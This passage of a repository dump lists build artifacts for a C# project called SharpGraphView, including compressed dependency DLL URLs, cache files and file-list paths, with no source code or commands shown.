https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/8BEB16D082D7A1D2167AECA767AC4439B5807A01.costura.microsoft.identitymodel.abstractions.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/94C56BFAC87ED8E2E4CD19B16AD207F21ABE7B62.costura.azure.core.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/94C56BFAC87ED8E2E4CD19B16AD207F21ABE7B62.costura.azure.core.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/9A5BE1FCF410FE5934D720329D36A2377E83747E.costura.system.security.principal.windows.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/9A5BE1FCF410FE5934D720329D36A2377E83747E.costura.system.security.principal.windows.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/9DABAA985AB92C2B5F8C3615FC35F7AC1D0CD8C6.costura.system.identitymodel.tokens.jwt.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/9DABAA985AB92C2B5F8C3615FC35F7AC1D0CD8C6.costura.system.identitymodel.tokens.jwt.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/A9A36A7FF7463BA945E61D1AD1585439C5E0A84C.costura.system.runtime.compilerservices.unsafe.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/A9A36A7FF7463BA945E61D1AD1585439C5E0A84C.costura.system.runtime.compilerservices.unsafe.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/B1144A892338B90D6FC31704F7828590EDC34F58.costura.system.text.json.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/B1144A892338B90D6FC31704F7828590EDC34F58.costura.system.text.json.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/B3EE776373E226C8CF3201157E5DF9F966266B15.costura.system.memory.data.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/B3EE776373E226C8CF3201157E5DF9F966266B15.costura.system.memory.data.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/CC35F06B54A4B09C3FFEC6F2E9EA22293F5F5529.costura.microsoft.identitymodel.jsonwebtokens.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/CC35F06B54A4B09C3FFEC6F2E9EA22293F5F5529.costura.microsoft.identitymodel.jsonwebtokens.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/CF7E2D61A33A4DFE686C96EA75E469CB8D9D68BD.costura.microsoft.rest.clientruntime.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/CF7E2D61A33A4DFE686C96EA75E469CB8D9D68BD.costura.microsoft.rest.clientruntime.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/D1664731719E85AAD7A2273685D77FEB0204EC98.costura.system.valuetuple.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/D1664731719E85AAD7A2273685D77FEB0204EC98.costura.system.valuetuple.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/E27922C42135475FB0DB26D9816101B549D65AE3.costura.system.text.encodings.web.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/E27922C42135475FB0DB26D9816101B549D65AE3.costura.system.text.encodings.web.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/ECE1552E05009275FD9A34872D627C6CB5DF705B.costura.microsoft.identitymodel.tokens.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/ECE1552E05009275FD9A34872D627C6CB5DF705B.costura.microsoft.identitymodel.tokens.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/EF2DD3C4DCDEAA87724FCC8D888538D77BBCA471.costura.microsoft.identity.client.extensions.msal.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/EF2DD3C4DCDEAA87724FCC8D888538D77BBCA471.costura.microsoft.identity.client.extensions.msal.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/F1F25C01F6ACF33BDD62C4F82D3EF078E76F0906.costura.costura.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/F1F25C01F6ACF33BDD62C4F82D3EF078E76F0906.costura.costura.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/F936A3BAC7ADDBD8D3AB46827AC9F306F93042E6.costura.microsoft.identity.client.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/F936A3BAC7ADDBD8D3AB46827AC9F306F93042E6.costura.microsoft.identity.client.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/Costura/FA8958681397C389855CAB28F0AE17FB0B54DE59.costura.microsoft.identitymodel.logging.dll.compressed.compressed: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/Costura/FA8958681397C389855CAB28F0AE17FB0B54DE59.costura.microsoft.identitymodel.logging.dll.compressed.compressed -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/SharpGra.20B14D14.Up2Date: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/SharpGra.20B14D14.Up2Date -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/SharpGraphView.csproj.AssemblyReference.cache: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/SharpGraphView.csproj.AssemblyReference.cache -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/SharpGraphView.csproj.CoreCompileInputs.cache: -------------------------------------------------------------------------------- 1 | 9333d58b34e4c230075eae6d3bc659b5365d0a1f09a2b7d7c0b06f804eb76227 2 | -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/SharpGraphView.csproj.FileListAbsolute.txt: -------------------------------------------------------------------------------- 1 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\SharpGraphView.exe.config 2 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\SharpGraphView.exe 3 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\SharpGraphView.pdb 4 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\Newtonsoft.Json.xml 5 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\System.Diagnostics.DiagnosticSource.xml 6 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\obj\Release\SharpGraphView.csproj.AssemblyReference.cache 7 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\obj\Release\SharpGraphView.csproj.CoreCompileInputs.cache 8 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\obj\Release\SharpGraphView.csproj.Fody.CopyLocal.cache 9 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\obj\Release\SharpGra.20B14D14.Up2Date 10 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\obj\Release\SharpGraphView.exe 11 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\obj\Release\SharpGraphView.pdb 12 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\Microsoft.Bcl.AsyncInterfaces.xml 13 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\Microsoft.IdentityModel.Abstractions.xml 14 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\Microsoft.IdentityModel.JsonWebTokens.xml 15 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\Microsoft.IdentityModel.Logging.xml 16 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\Microsoft.IdentityModel.Tokens.xml 17 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\System.Buffers.xml 18 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\System.IdentityModel.Tokens.Jwt.xml 19 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\System.Memory.xml 20 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\System.Numerics.Vectors.xml 21 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\System.Runtime.CompilerServices.Unsafe.xml 22 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\System.Text.Encodings.Web.xml 23 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\System.Text.Json.xml 24 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\System.Threading.Tasks.Extensions.xml 25 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\System.ValueTuple.xml 26 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\Microsoft.Identity.Client.xml 27 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\Microsoft.Identity.Client.Extensions.Msal.xml 28 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\Microsoft.Rest.ClientRuntime.xml 29 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\Microsoft.Rest.ClientRuntime.Azure.xml 30 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\System.ClientModel.xml 31 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\System.IO.FileSystem.AccessControl.xml 32 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\System.Memory.Data.xml 33 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\System.Security.AccessControl.xml 34 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\System.Security.Cryptography.ProtectedData.xml 35 | C:\Users\user0\source\repos\SharpGraphView\SharpGraphView\bin\Release\System.Security.Principal.Windows.xml 36 | -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/SharpGraphView.csproj.Fody.CopyLocal.cache: -------------------------------------------------------------------------------- 1 | C:\Users\user0\source\repos\SharpGraphView\packages\Microsoft.Bcl.AsyncInterfaces.1.1.1\lib\net461\Microsoft.Bcl.AsyncInterfaces.xml 2 | C:\Users\user0\source\repos\SharpGraphView\packages\Microsoft.Identity.Client.4.60.3\lib\net462\Microsoft.Identity.Client.xml 3 | C:\Users\user0\source\repos\SharpGraphView\packages\Microsoft.Identity.Client.Extensions.Msal.4.60.3\lib\netstandard2.0\Microsoft.Identity.Client.Extensions.Msal.xml 4 | C:\Users\user0\source\repos\SharpGraphView\packages\Microsoft.IdentityModel.Abstractions.7.5.1\lib\net472\Microsoft.IdentityModel.Abstractions.xml 5 | C:\Users\user0\source\repos\SharpGraphView\packages\Microsoft.IdentityModel.JsonWebTokens.7.5.1\lib\net472\Microsoft.IdentityModel.JsonWebTokens.xml 6 | C:\Users\user0\source\repos\SharpGraphView\packages\Microsoft.IdentityModel.Logging.7.5.1\lib\net472\Microsoft.IdentityModel.Logging.xml 7 | C:\Users\user0\source\repos\SharpGraphView\packages\Microsoft.IdentityModel.Tokens.7.5.1\lib\net472\Microsoft.IdentityModel.Tokens.xml 8 | C:\Users\user0\source\repos\SharpGraphView\packages\Microsoft.Rest.ClientRuntime.2.3.20\lib\net461\Microsoft.Rest.ClientRuntime.xml 9 | C:\Users\user0\source\repos\SharpGraphView\packages\Microsoft.Rest.ClientRuntime.Azure.3.3.18\lib\net452\Microsoft.Rest.ClientRuntime.Azure.xml 10 | C:\Users\user0\source\repos\SharpGraphView\packages\Newtonsoft.Json.13.0.3\lib\net45\Newtonsoft.Json.xml 11 | C:\Users\user0\source\repos\SharpGraphView\packages\System.Buffers.4.5.1\lib\net461\System.Buffers.xml 12 | C:\Users\user0\source\repos\SharpGraphView\packages\System.ClientModel.1.0.0\lib\netstandard2.0\System.ClientModel.xml 13 | C:\Users\user0\source\repos\SharpGraphView\packages\System.Diagnostics.DiagnosticSource.6.0.1\lib\net461\System.Diagnostics.DiagnosticSource.xml 14 | C:\Users\user0\source\repos\SharpGraphView\packages\System.IdentityModel.Tokens.Jwt.7.5.1\lib\net472\System.IdentityModel.Tokens.Jwt.xml 15 | C:\Users\user0\source\repos\SharpGraphView\packages\System.IO.FileSystem.AccessControl.5.0.0\lib\net461\System.IO.FileSystem.AccessControl.xml 16 | C:\Users\user0\source\repos\SharpGraphView\packages\System.Memory.4.5.5\lib\net461\System.Memory.xml 17 | C:\Users\user0\source\repos\SharpGraphView\packages\System.Memory.Data.1.0.2\lib\net461\System.Memory.Data.xml 18 | C:\Users\user0\source\repos\SharpGraphView\packages\System.Numerics.Vectors.4.5.0\lib\net46\System.Numerics.Vectors.xml 19 | C:\Users\user0\source\repos\SharpGraphView\packages\System.Runtime.CompilerServices.Unsafe.6.0.0\lib\net461\System.Runtime.CompilerServices.Unsafe.xml 20 | C:\Users\user0\source\repos\SharpGraphView\packages\System.Security.AccessControl.5.0.0\lib\net461\System.Security.AccessControl.xml 21 | C:\Users\user0\source\repos\SharpGraphView\packages\System.Security.Cryptography.ProtectedData.4.7.0\lib\net461\System.Security.Cryptography.ProtectedData.xml 22 | C:\Users\user0\source\repos\SharpGraphView\packages\System.Security.Principal.Windows.5.0.0\lib\net461\System.Security.Principal.Windows.xml 23 | C:\Users\user0\source\repos\SharpGraphView\packages\System.Text.Encodings.Web.4.7.2\lib\net461\System.Text.Encodings.Web.xml 24 | C:\Users\user0\source\repos\SharpGraphView\packages\System.Text.Json.4.7.2\lib\net461\System.Text.Json.xml 25 | C:\Users\user0\source\repos\SharpGraphView\packages\System.Threading.Tasks.Extensions.4.5.4\lib\net461\System.Threading.Tasks.Extensions.xml 26 | C:\Users\user0\source\repos\SharpGraphView\packages\System.ValueTuple.4.5.0\lib\net47\System.ValueTuple.xml 27 | -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/SharpGraphView.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/SharpGraphView.exe -------------------------------------------------------------------------------- /SharpGraphView/obj/Release/SharpGraphView.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mlcsec/SharpGraphView/2995ab8deda204797357c11f670a89476950c901/SharpGraphView/obj/Release/SharpGraphView.pdb -------------------------------------------------------------------------------- /SharpGraphView/packages.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | --------------------------------------------------------------------------------